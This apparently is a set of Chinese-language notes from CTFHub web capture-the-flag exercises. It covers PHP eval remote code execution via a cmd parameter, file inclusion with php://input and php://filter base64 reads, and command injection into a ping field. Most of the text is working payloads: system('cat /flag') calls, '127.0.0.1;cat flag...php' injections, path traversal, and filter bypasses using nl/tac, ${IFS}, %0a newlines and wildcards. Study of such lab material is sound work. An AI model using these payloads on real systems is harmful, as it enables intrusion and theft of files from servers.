eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
查看目录找flag
/?cmd=system("ls /");
/?cmd=system("cat /flag_26871");
文件包含
ctfhub=system('ls /');
ctfhub=system('cat /flag');
php://input, 远程包含
读取源代码
filter伪协议
/?file=php://filter/convert.base64-encode/resource=../../../flag
命令注入
linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
查看源码就出来了
也可以用 ip & cat *.php | base64 ,然后去解码
过滤cat
与上题一样,只是过滤cat了
换成nl
记录一下各种姿势:
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64
过滤空格
这里用小于号<可以代替空格,也可以使用/**/
过滤目录分隔符/
就是使用cd代替/,来找出flag文件的目录
127.0.0.1&ls
127.0.0.1&ls cd flag_is_here
127.0.0.1 ; cd flag_is_here ; cat flag_223902169917800.php 查看源码
过滤运算符
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
过滤了|和&
不影响啥
127.0.0.1;ls
127.0.0.1;cat flag_26986317377852.php 查看源码
综合过滤练习
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
先看过滤了啥东西 | & ; 空格 / cat flag ctfhub
在url里面输入%0a表示换行,这样来执行ls
接下来用cd替代/ 来查看目录,flag用通配符*和?绕过,空格用${IFS}